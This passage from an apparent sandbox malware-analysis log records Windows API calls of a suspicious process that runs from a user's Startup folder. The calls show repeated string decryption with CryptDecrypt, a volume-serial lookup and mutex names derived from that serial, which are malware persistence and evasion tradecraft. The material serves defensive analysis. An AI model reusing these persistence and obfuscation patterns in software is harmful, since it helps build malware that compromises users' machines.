pbData=0x40f69c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x40f704 | out: phKey=0x40f704*=0x4d7390) returned 1 [0266.518] CryptSetKeyParam (hKey=0x4d7390, dwParam=0x1, pbData=0x40f6ec, dwFlags=0x0) returned 1 [0266.518] CryptDecrypt (in: hKey=0x4d7390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa614a0, pdwDataLen=0x40f6b8 | out: pbData=0xa614a0, pdwDataLen=0x40f6b8) returned 1 [0266.518] CryptDestroyKey (hKey=0x4d7390) returned 1 [0266.518] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x1e) returned 0xa614c8 [0266.518] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x1e) returned 0xa614f0 [0266.518] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x90) returned 0xa61518 [0266.518] CryptImportKey (in: hProv=0x4d4ed8, pbData=0x40f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x40f6dc | out: phKey=0x40f6dc*=0x4d7390) returned 1 [0266.518] CryptSetKeyParam (hKey=0x4d7390, dwParam=0x1, pbData=0x40f6c4, dwFlags=0x0) returned 1 [0266.518] CryptDecrypt (in: hKey=0x4d7390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa61518, pdwDataLen=0x40f690 | out: pbData=0xa61518, pdwDataLen=0x40f690) returned 1 [0266.518] CryptDestroyKey (hKey=0x4d7390) returned 1 [0266.518] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa61518 | out: hHeap=0xa60000) returned 1 [0266.518] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa614c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.518] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa614f0 | out: hHeap=0xa60000) returned 1 [0266.518] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa614a0 | out: hHeap=0xa60000) returned 1 [0266.518] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x40f744, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x40f744*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0266.518] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa614c8 | out: hHeap=0xa60000) returned 1 [0266.519] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x40) returned 0xa614a0 [0266.519] CryptImportKey (in: hProv=0x4d4ed8, pbData=0x40f6d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x40f738 | out: phKey=0x40f738*=0x4d7390) returned 1 [0266.519] CryptSetKeyParam (hKey=0x4d7390, dwParam=0x1, pbData=0x40f720, dwFlags=0x0) returned 1 [0266.519] CryptDecrypt (in: hKey=0x4d7390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa614a0, pdwDataLen=0x40f6ec | out: pbData=0xa614a0, pdwDataLen=0x40f6ec) returned 1 [0266.519] CryptDestroyKey (hKey=0x4d7390) returned 1 [0266.519] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x34) returned 0xa614e8 [0266.519] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0266.519] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x84 [0266.519] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0266.519] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa614a0 | out: hHeap=0xa60000) returned 1 [0266.519] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa614e8 | out: hHeap=0xa60000) returned 1 [0266.519] ReleaseMutex (hMutex=0x84) returned 1 [0266.519] CloseHandle (hObject=0x84) returned 1 [0266.519] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x20) returned 0xa614a0 [0266.519] CryptImportKey (in: hProv=0x4d4ed8, pbData=0x40f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x40f718 | out: phKey=0x40f718*=0x4d7390) returned 1 [0266.519] CryptSetKeyParam (hKey=0x4d7390, dwParam=0x1, pbData=0x40f700, dwFlags=0x0) returned 1 [0266.519] CryptDecrypt (in: hKey=0x4d7390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa614a0, pdwDataLen=0x40f6cc | out: pbData=0xa614a0, pdwDataLen=0x40f6cc) returned 1 [0266.519] CryptDestroyKey (hKey=0x4d7390) returned 1 [0266.519] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x1e) returned 0xa614c8 [0266.519] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x1e) returned 0xa614f0 [0266.519] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x90) returned 0xa61518 [0266.519] CryptImportKey (in: hProv=0x4d4ed8, pbData=0x40f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x40f6f0 | out: phKey=0x40f6f0*=0x4d7390) returned 1 [0266.519] CryptSetKeyParam (hKey=0x4d7390, dwParam=0x1, pbData=0x40f6d8, dwFlags=0x0) returned 1 [0266.519] CryptDecrypt (in: hKey=0x4d7390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa61518, pdwDataLen=0x40f6a4 | out: pbData=0xa61518, pdwDataLen=0x40f6a4) returned 1 [0266.519] CryptDestroyKey (hKey=0x4d7390) returned 1 [0266.519] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa61518 | out: hHeap=0xa60000) returned 1 [0266.519] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa614c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.519] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa614f0 | out: hHeap=0xa60000) returned 1 [0266.519] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa614a0 | out: hHeap=0xa60000) returned 1 [0266.519] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x40f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x40f758*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0266.519] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa614c8 | out: hHeap=0xa60000) returned 1 [0266.519] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x40) returned 0xa614a0 [0266.519] CryptImportKey (in: hProv=0x4d4ed8, pbData=0x40f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x40f74c | out: phKey=0x40f74c*=0x4d7390) returned 1 [0266.519] CryptSetKeyParam (hKey=0x4d7390, dwParam=0x1, pbData=0x40f734, dwFlags=0x0) returned 1 [0266.519] CryptDecrypt (in: hKey=0x4d7390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa614a0, pdwDataLen=0x40f700 | out: pbData=0xa614a0, pdwDataLen=0x40f700) returned 1 [0266.519] CryptDestroyKey (hKey=0x4d7390) returned 1 [0266.519] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x34) returned 0xa614e8 [0266.520] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x84 [0266.520] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x102 [0266.520] CloseHandle (hObject=0x84) returned 1 [0266.520] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa614a0 | out: hHeap=0xa60000) returned 1 [0266.520] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa614e8 | out: hHeap=0xa60000) returned 1 [0266.520] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa61450 | out: hHeap=0xa60000) returned 1 [0266.520] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa61478 | out: hHeap=0xa60000) returned 1 [0266.520] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa61438 | out: hHeap=0xa60000) returned 1 [0266.520] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa612b8 | out: hHeap=0xa60000) returned 1 [0266.520] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa62218 | out: hHeap=0xa60000) returned 1 [0266.520] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa61280 | out: hHeap=0xa60000) returned 1 [0266.520] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0 [0266.520] ExitProcess (uExitCode=0x0) [0266.521] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa607d0 | out: hHeap=0xa60000) returned 1 Process: id = "13" image_name = "cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" page_root = "0x75fa8000" os_pid = "0x504" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e082" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0x508 [0265.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x43f884 | out: lpSystemTimeAsFileTime=0x43f884*(dwLowDateTime=0x4c83ccc0, dwHighDateTime=0x1d52d08)) [0265.851] GetCurrentProcessId () returned 0x504 [0265.851] GetCurrentThreadId () returned 0x508 [0265.851] GetTickCount () returned 0x6862 [0265.851] QueryPerformanceCounter (in: lpPerformanceCount=0x43f87c | out: lpPerformanceCount=0x43f87c*=7011076335) returned 1 [0265.851] GetStartupInfoW (in: lpStartupInfo=0x43f828 | out: lpStartupInfo=0x43f828*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x43f88c, hStdError=0xf58ca4)) [0265.851] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0265.851] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x7c0000 [0265.852] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0265.852] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsAlloc") returned 0x75be4f2b [0265.852] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsGetValue") returned 0x75be1252 [0265.852] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsSetValue") returned 0x75be4208 [0265.852] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsFree") returned 0x75be359f [0265.853] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x214) returned 0x7c07d0 [0265.853] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0265.853] GetCurrentThreadId () returned 0x508 [0265.853] GetStartupInfoW (in: lpStartupInfo=0x43f7c4 | out: lpStartupInfo=0x43f7c4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf5726a, hStdOutput=0xf575a3, hStdError=0x7c07d0)) [0265.853] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x800) returned 0x7c09f0 [0265.853] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0265.853] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0265.853] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0265.853] SetHandleCount (uNumber=0x20) returned 0x20 [0265.853] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe\" " [0265.853] GetEnvironmentStringsW () returned 0x854b30* [0265.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0265.853] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x581) returned 0x7c11f8 [0265.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x7c11f8, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0265.853] FreeEnvironmentStringsW (penv=0x854b30) returned 1 [0265.853] GetLastError () returned 0x5 [0265.854] SetLastError (dwErrCode=0x5) [0265.854] GetLastError () returned 0x5 [0265.854] SetLastError (dwErrCode=0x5) [0265.854] GetLastError () returned 0x5 [0265.854] SetLastError (dwErrCode=0x5) [0265.854] GetACP () returned 0x4e4 [0265.854] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x220) returned 0x7c1788 [0265.854] GetLastError () returned 0x5 [0265.854] SetLastError (dwErrCode=0x5) [0265.854] IsValidCodePage (CodePage=0x4e4) returned 1 [0265.854] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x43f78c | out: lpCPInfo=0x43f78c) returned 1 [0265.854] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x43f258 | out: lpCPInfo=0x43f258) returned 1 [0265.854] GetLastError () returned 0x5 [0265.854] SetLastError (dwErrCode=0x5) [0265.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x43f66c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0265.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x43f66c, cbMultiByte=256, lpWideCharStr=0x43efd8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧õĀ") returned 256 [0265.854] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧õĀ", cchSrc=256, lpCharType=0x43f26c | out: lpCharType=0x43f26c) returned 1 [0265.854] GetLastError () returned 0x5 [0265.854] SetLastError (dwErrCode=0x5) [0265.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x43f66c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0265.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x43f66c, cbMultiByte=256, lpWideCharStr=0x43efa8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0265.854] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0265.854] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x43ed98, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0265.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x43f56c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb8\x8e\xe2\xed\xa4\xf7\x43", lpUsedDefaultChar=0x0) returned 256 [0265.854] GetLastError () returned 0x5 [0265.854] SetLastError (dwErrCode=0x5) [0265.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x43f66c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0265.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x43f66c, cbMultiByte=256, lpWideCharStr=0x43efc8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0265.855] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0265.855] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 